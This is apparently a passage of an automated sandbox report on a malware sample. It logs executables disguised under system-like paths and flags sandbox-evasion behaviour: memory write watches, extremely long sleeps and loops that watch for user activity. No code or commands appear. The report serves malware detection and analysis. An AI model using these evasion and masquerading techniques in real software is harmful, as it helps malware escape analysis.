Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\twain_32\Registry.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Memory allocated: F90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Memory allocated: 1AB50000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Memory allocated: F30000 memory reserve | memory write watch Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Memory allocated: 1AC40000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Memory allocated: 8A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Memory allocated: 1A480000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Memory allocated: 14C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Memory allocated: 1B250000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Memory allocated: 1280000 memory reserve | memory write watch
Source: C:\Windows\twain_32\Registry.exe Memory allocated: 1AD90000 memory reserve | memory write watch
Source: C:\Windows\twain_32\Registry.exe Memory allocated: F20000 memory reserve | memory write watch
Source: C:\Windows\twain_32\Registry.exe Memory allocated: 1AC80000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Memory allocated: 11F0000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Memory allocated: 1ABC0000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Memory allocated: 830000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Memory allocated: 1A4E0000 memory reserve | memory write watch
Source: C:\ProgramData\smartscreen.exe Memory allocated: 680000 memory reserve | memory write watch
Source: C:\ProgramData\smartscreen.exe Memory allocated: 1A380000 memory reserve | memory write watch
Source: C:\ProgramData\smartscreen.exe Memory allocated: 1280000 memory reserve | memory write watch
Source: C:\ProgramData\smartscreen.exe Memory allocated: 1AD40000 memory reserve | memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Memory allocated: 2490000 memory reserve | memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Memory allocated: 1A680000 memory reserve | memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Memory allocated: A80000 memory reserve | memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Memory allocated: 1A890000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599641 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599516 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599407 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599282 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599157 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 599047 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 598934 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 598828 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\twain_32\Registry.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Window / User API: threadDelayed 1126 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Window / User API: threadDelayed 1037 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Window / User API: threadDelayed 1409 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Window / User API: threadDelayed 2080 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Window / User API: threadDelayed 647 Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Window / User API: threadDelayed 367 Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Window / User API: threadDelayed 361
Source: C:\Windows\twain_32\Registry.exe Window / User API: threadDelayed 364
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Window / User API: threadDelayed 362
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Window / User API: threadDelayed 370
Source: C:\ProgramData\smartscreen.exe Window / User API: threadDelayed 367
Source: C:\ProgramData\smartscreen.exe Window / User API: threadDelayed 367
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Window / User API: threadDelayed 369
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Window / User API: threadDelayed 364
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6232 Thread sleep count: 1126 > 30 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6232 Thread sleep count: 1037 > 30 Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6688 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 4080 Thread sleep count: 1409 > 30 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 2996 Thread sleep count: 2080 > 30 Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599766s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599641s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599516s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599407s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599282s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599157s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -599047s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576 Thread sleep time: -598934s >= -30000s Jump to behavior
